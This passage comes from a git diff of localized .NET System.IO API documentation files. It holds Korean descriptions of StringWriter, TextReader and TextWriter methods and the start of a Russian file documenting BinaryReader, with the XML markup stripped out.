+ 문자와 줄 종결자를 차례로 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 문자열에 쓸 문자입니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 현재 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 쓰여집니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 여러 개의 문자를 순차적으로 읽을 수 있는 판독기를 나타냅니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 해당 개체에서 사용하는 리소스를 모두 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + TextReader에 읽을 데이터를 제공하지 않습니다. + 1 + + + 문자 소스나 판독기의 상태를 변경하지 않고 다음 문자를 읽습니다.판독기에서 실제로 읽지 않고 사용 가능한 다음 문자를 반환합니다. + 읽을 다음 문자를 나타내는 정수이거나, 사용할 수 있는 문자가 더 이상 없거나 판독기에서 검색을 지원하지 않을 경우 -1입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 텍스트 판독기에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + 텍스트 판독기의 다음 문자 또는 사용할 수 있는 문자가 더 이상 없는 경우 -1입니다.기본 구현된 경우에는 -1을 반환합니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 판독기에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 판독기 내에서 데이터를 사용할 수 있는지 여부에 따라 보다 작거나 같습니다.읽을 문자가 더 이상 없는 경우에 이 메서드를 호출하면 0이 반환됩니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 판독기의 끝에 도달하면 메서드가 반환됩니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 텍스트 판독기에서 지정된 최대 문자 수를 비동기적으로 읽어 이 데이터를 지정된 위치에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 텍스트의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 텍스트의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 텍스트 판독기에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 모든 입력 문자를 읽었는지 여부에 따라 보다 작거나 같습니다. + 이 메서드가 반환할 때 이 매개 변수에는 지정된 문자 배열의 값이 및 ( + -1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 들어 있습니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 텍스트 판독기에서 지정된 최대 문자 수를 비동기적으로 읽어 이 데이터를 지정된 위치에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 텍스트의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 텍스트의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 텍스트 판독기에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 판독기의 다음 줄이거나 모든 문자를 읽은 경우 null입니다. + I/O 오류가 발생하는 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + + 가 닫힌 경우 + 다음 줄의 문자 수가 보다 큰 경우 + 1 + + + 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 텍스트 판독기의 다음 줄을 포함하거나 모든 문자가 읽혀진 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 읽어서 단일 문자열로 반환합니다. + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 포함하는 문자열입니다. + I/O 오류가 발생하는 경우 + + 가 닫힌 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 다음 줄의 문자 수가 보다 큰 경우 + 1 + + + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 비동기적으로 읽어서 하나의 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 텍스트 판독기 끝까지의 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 일련의 문자를 연속하여 쓸 수 있는 작성기를 나타냅니다.이 클래스는 추상 클래스입니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 서식 공급자를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 서식 지정을 제어하는 개체입니다. + + + 이 TextWriter에 사용한 줄 바꿈 문자를 저장합니다. + + + 해당 개체에서 사용하는 리소스를 모두 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 파생 클래스에서 재정의된 경우 출력을 쓰는 문자 인코딩을 반환합니다. + 출력을 쓰는 문자 인코딩입니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 지우면 버퍼링된 모든 데이터를 내부 장치에 씁니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 비동기적으로 지우면 버퍼링된 모든 데이터를 내부 장치에 씁니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 작성기를 현재 사용하고 있습니다. + + + 서식 지정을 제어하는 개체를 가져옵니다. + 특정 문화권에 대한 개체이거나, 다른 문화권을 지정하지 않은 경우 현재 문화권의 서식입니다. + 2 + + + 현재 TextWriter에서 사용한 줄 종결자 문자열을 가져오거나 설정합니다. + 현재 TextWriter의 줄 종결자 문자열입니다. + 2 + + + 쓸 수는 있지만 읽을 수는 없는 백업 저장소를 TextWriter에 제공하지 않습니다. + 1 + + + Boolean 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 Boolean 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자 배열을 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자 배열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 하위 배열을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 매개 변수가 null인 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 10진수 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 10진수 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 8바이트 부동 소수점 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 8바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 4바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 8바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 개체에 대해 ToString 메서드를 호출하여 해당 개체의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 개체입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 4바이트 부동 소수점 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 4바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자열을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 문자열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 1입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 2입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + 서식을 지정하고 쓸 세 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 3입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체를 0개 이상 포함하는 개체 배열입니다. + + 또는 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나 배열의 길이보다 크거나 같습니다. + 1 + + + 부호 없는 4바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 없는 8바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자 배열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자 배열입니다.가 null이면 아무 것도 쓰지 않습니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.가 null이면 텍스트 스트림에 아무 것도 쓰지 않습니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 줄 종결자를 텍스트 문자열 또는 스트림에 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + Boolean 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 Boolean 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자와 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 데이터를 읽을 문자 배열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 하위 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 데이터를 읽을 문자 배열입니다. + 데이터 읽기를 시작하는 의 문자 위치입니다. + 쓸 최대 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 매개 변수가 null인 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 10진수 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 10진수 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 8바이트 부동 소수점 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 8바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 4바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 8바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 개체에 대해 ToString 메서드를 호출하여 해당 개체의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 개체입니다.가 null이면 줄 종결자만 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 4바이트 부동 소수점 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 4바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 문자열입니다.가 null이면 줄 종결자만 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 1입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 2입니다. + 1 + + + + 과 같은 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + 서식을 지정하고 쓸 세 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 3입니다. + 1 + + + + 과 같은 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체를 0개 이상 포함하는 개체 배열입니다. + 문자열이나 개체가 null로 전달되는 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나 배열의 길이보다 크거나 같습니다. + 1 + + + 부호 없는 4바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 없는 8바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 줄 종결자를 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자 배열입니다.문자 배열이 null이면 줄 종결자만 씁니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 씁니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/ru/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/ru/System.IO.xml new file mode 100644 index 0000000..c4d59b1 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/ru/System.IO.xml @@ -0,0 +1,2023 @@ + + + + System.IO + + + + Считывает примитивные типы данных как двоичные значения в заданной кодировке. + 2 + + + Инициализирует новый экземпляр класса на основании указанного потока с использованием кодировки UTF-8. + Входной поток. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + + + Инициализирует новый экземпляр класса на основе указанного потока и кодировки символов. + Входной поток. + Кодировка символов, которую нужно использовать. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса на основе указанного потока и кодировки символов, а также при необходимости оставляет поток открытым. + Входной поток. + Кодировка символов, которую нужно использовать. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + Параметр или имеет значение null. + + + Предоставляет доступ к базовому потоку объекта . + Базовый поток, связанный с объектом BinaryReader. + 2 + + + Освобождает все ресурсы, используемые текущим экземпляром класса . + + + Освобождает неуправляемые ресурсы, используемые классом (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Заполняет внутренний буфер указанным количеством байтов, которые были cчитаны из потока. + Количество байтов, чтение которых необходимо выполнить. + Конец потока достигнут раньше, чем было выполнено чтение байтов. + Ошибка ввода-вывода. + Запрошенное значение превышает размер внутреннего буфера. + + + Возвращает следующий доступный для чтения символ, не перемещая позицию байта или символа вперед. + Следующий доступный символ или значение -1, если в потоке больше нет символов, или поток не поддерживает поиск. + Ошибка ввода-вывода. + Текущий символ не может быт декодирован в буфер внутренних символов с помощью , выбранного для потока. + 2 + + + Выполняет чтение знаков из базового потока и перемещает текущую позицию в потоке вперед в соответствии с используемым значением Encoding и конкретным знаком в потоке, чтение которого выполняется в настоящий момент. + Следующий символ из входного потока или значение -1, если в настоящее время доступных символов нет. + Ошибка ввода-вывода. + Поток закрыт. + 2 + + + Считывает указанное количество байтов из потока, начиная с заданной точки в массиве байтов. + Количество байтов, считанных в .Количество символов может быть меньше указанного числа, если в потоке осталось меньше байтов, чем следует считать. Количество символов также может равняться нулю, если достигнут конец потока. + Буфер, в который должны считываться данные. + Стартовая точка в буфере, начиная с которой считываемые данные записываются в буфер. + Количество байтов, чтение которых необходимо выполнить. + Длина буфера за вычетом значения параметра меньше значения параметра . -или-Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает указанное количество символов из потока, начиная с заданной точки в массиве символов. + Общее количество символов, считанных в буфер.Количество символов может быть меньше указанного числа, если в потоке осталось меньше символов, чем следует прочитать. Количество символов также может равняться нулю, если достигнут конец потока. + Буфер, в который должны считываться данные. + Стартовая точка в буфере, начиная с которой считываемые данные записываются в буфер. + Число символов для чтения. + Длина буфера за вычетом значения параметра меньше значения параметра . -или-Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает 32-разрядное целое число в сжатом формате. + 32-разрядное целое число в сжатом формате. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + Поток поврежден. + + + Считывает значение Boolean из текущего потока и перемещает текущую позицию в потоке на один байт вперед. + Значение true, если байт не равен нулю; в противном случае — значение false. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает из текущего потока следующий байт и перемещает текущую позицию в потоке на один байт вперед. + Следующий байт, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает указанное количество байтов из текущего потока в массив байтов и перемещает текущую позицию на это количество байтов. + Массив байтов, в котором содержатся данные, считанные из базового потока.Если при чтении был достигнут конец потока, это число может быть меньше, чем количество запрошенных байтов. + Количество байтов, чтение которых необходимо выполнить.Это значение должно быть равно 0 или быть больше 0, иначе возникнет исключение. + Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Ошибка ввода-вывода. + Поток закрыт. + Значение отрицательно. + 2 + + + Считывает следующий знак из текущего потока и изменяет текущую позицию в потоке в соответствии с используемым значением Encoding и конкретным знаком в потоке, чтение которого выполняется в настоящий момент. + Символ, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + Выполнено чтение символа-заместителя. + 2 + + + Считывает указанное количество символов из текущего потока, возвращает данные в массив символов и перемещает текущую позицию в соответствии с используемой Encoding и определенным символом, считываемым из потока. + Массив символов, в котором содержатся данные, считанные из базового потока.Если при чтении был достигнут конец потока, это число может быть меньше, чем количество запрошенных символов. + Количество символов, которое необходимо считать. + Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Поток закрыт. + Ошибка ввода-вывода. + Значение отрицательно. + 2 + + + Считывает десятичное значение из текущего потока и перемещает текущую позицию в потоке на шестнадцать байтов вперед. + Десятичное значение, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает число с плавающей запятой длиной 8 байт из текущего потока и перемещает текущую позицию в потоке на восемь байт вперед. + Число с плавающей запятой длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 2 байта из текущего потока и перемещает текущую позицию в потоке на два байта вперед. + Целое число со знаком длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Целое число со знаком длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 8 байта из текущего потока и перемещает текущую позицию в потоке на восемь байт вперед. + Целое число со знаком длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает из текущего потока байт со знаком и перемещает текущую позицию в потоке на один байт вперед. + Байт со знаком, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает число с плавающей запятой длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Число с плавающей запятой длиной 4 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает строку из текущего потока.Строка предваряется значением длины строки, которое закодировано как целое число блоками по семь битов. + Считываемая строка. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 2 байта в формате с прямым порядком байтов из текущего потока и перемещает текущую позицию в потоке на два байта вперед. + Целое число без знака длиной 2 байта, считанное из 